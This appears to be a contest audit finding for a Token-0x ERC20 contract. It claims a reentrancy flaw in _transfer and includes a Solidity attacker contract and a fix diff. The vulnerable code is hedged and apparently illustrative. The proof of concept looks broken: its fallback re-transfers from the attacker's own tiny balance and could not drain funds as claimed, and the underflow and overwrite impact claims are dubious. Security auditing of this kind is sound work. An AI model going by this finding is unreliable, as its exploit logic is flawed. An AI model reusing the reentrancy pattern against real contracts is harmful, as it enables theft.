Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Reentrancy Exposure in Transfer Logic Root + Impact

Author Revealed upon completion

Root + Impact

Description

  • Token transfers should follow the checks-effects-interactions pattern to prevent reentrancy, especially if low-level calls or hooks are used in the transfer process.

  • The Token-0x transfer logic performs external calls before state updates, or uses low-level Yul .call(), leaving the contract exposed to reentrancy, allowing attackers to trigger recursive transfer/transferFrom calls.

// helpers/ERC20Internals.sol
function _transfer(address from, address to, uint256 amount) internal {
@> (bool s, ) = to.call(""); // External call before balances are updated
require(s, "call failed");
@> balances[from] -= amount; // State update happens *after* external call
balances[to] += amount;
}

Risk

Likelihood:

  • Reentrancy occurs whenever a recipient is a contract with a fallback function.

Minimal attacker effort: simply deploy contract with fallback → receive tokens.

Impact:

  • Attacker drains balances by calling reentrant transfer() until storage underflows/overwrites.

  • May bypass allowance logic, drain vaults, or corrupt internal accounting.

Proof of Concept

  • Outcome: Recursive fallback drains tokens from sender or global supply.

contract Reenter {
Token0x token;
constructor(address _token) { token = Token0x(_token); }
fallback() external {
// Re-enter during transfer
token.transfer(msg.sender, 1000e18);
}
function attack() external {
// Trigger initial transfer from any sender
token.transfer(address(this), 1);
}
}

Recommended Mitigation

  • Add nonReentrant modifier if external calls cannot be removed.

- remove this code
+ add this code
function _transfer(address from, address to, uint256 amount) internal {
- (bool s, ) = to.call(""); // ❌ external call before state update
- require(s, "call failed");
- balances[from] -= amount;
- balances[to] += amount;
+ // ✔ Update internal state first
+ balances[from] = balances[from] - amount;
+ balances[to] = balances[to] + amount;
+ // ✔ Only perform external interaction AFTER state updates
+ (bool s, ) = to.call("");
+ require(s, "call failed");
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!